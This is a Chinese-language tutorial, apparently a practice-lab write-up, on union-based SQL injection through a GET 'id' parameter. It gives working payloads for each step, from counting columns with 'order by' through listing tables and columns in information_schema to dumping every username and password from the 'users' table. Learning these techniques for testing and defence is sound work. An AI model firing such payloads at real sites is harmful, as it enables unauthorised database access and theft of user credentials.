一、注入点
这个网站连接数据库后端的查询用户是用id查询的,并且请求方式是get所以在传入接口的网址后面添加id=2或者别的数字,就会查询id=1的用户信息
?id=1二、查看有多少字段
?id=1' order by 3--+ //要查询表id=1的数据有没有三个字段'是要提前闭合后台自带的引号
输入id=1,后台接收的为:SELECT * FROM users WHERE id='1'
如果输入的是?id=1 order by 3--+ 后台接收的就是
SELECT * FROM users WHERE id='1 order by 3 --+'
但要的效果为:SELECT * FROM users WHERE id='1 'order by 3
所以在id=1后面添加',和前面的'相闭合
而--+是注释的意思,把后面的'注释掉
最终后台接收的语句为SELECT * FROM users WHERE id='1 'order by 3 --+'=>
SELECT * FROM users WHERE id='1 'order by 3 这后面的'被--+注释掉了
而order by在数据库中是排序的意思,order by 3按照第三列排序,但在这里的本质目的是判断有多少个字段,比如id字段、name字段、password字段
输入order by 3时页面正常,说明有三个字段
而输入order by 4出现错误提示:order by子句中不存在名为4的列,也就是这个表只有三个字段三个列
三、将查出的id=-1的数据插入三列假数据1,2,3,查看有哪些数据插入被显示
?id=-1' union select 1,2,3 --+而id=-1永远查询不到,页面也就只能显示我们插入的数据
union联合,把两条 SELECT 查询的结果,合并成一张表显示出来
从图中可以看到2,3显示出来,所以在后面查询数据库名称和数据表时,可以将语句写在第二、三字段中
四、查询当前使用的数据库名
?id=-1' union select 1,database(),3--+database()是mysql自带的函数--查询当前正在使用的数据库名字
也可以写成?id=-1' union select 1,3,database()--+
但是前面测试第一列不能显示结果,所以要查看数据库名字,只能放在2,3字段
其他两个数据起到了一个占位的作用,前面查出有三个字段,如果只写两个,列数不匹配会拒绝执行
查询出来数据库名为:security
五、查看数据库有哪些表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+group_concat():mysql自带的函数--将所有表名拼成一行显示
括号内容是系统固定的值:
查看所有表名:table_name =>group_concat(table_name)
查看所有数据库名:table_schema=>group_concat(table_schema)
查看所有字段名:column_name=>group_concat(column_name)
information_schema:是mysql自带的一个大数据库记录了有哪些数据库,有哪些表,每个表有哪些字段(列)
from information_schema.tables这句话的意思也就是从information_schema这个库里查找tables这个表,表名是固定的tables,这个表里还存放着其他的所有的表
条件:where table_schema=database()--只查询当前正在使用的这个数据库下面的表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+所以这一整段的意思是查询id=-1的用户和在information_schema数据库里的tables表里查询数据库名为当前使用的数据库里的所有表名信息,并将所有表名拼成一行,在第二个字段展示出来
六、查看表有哪些字段
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() --+同上
七、查看表中所有的用户名和密码
?id=-1' union select 1,group_concat(username,0x3a,password),3 from security.users --+group_concat(username,0x3a,password):将用户名和密码连接在一行用冒号隔开
0x3a是冒号
在前面已经查询用户名和密码是在哪一个表里,在条件后面直接写表名就行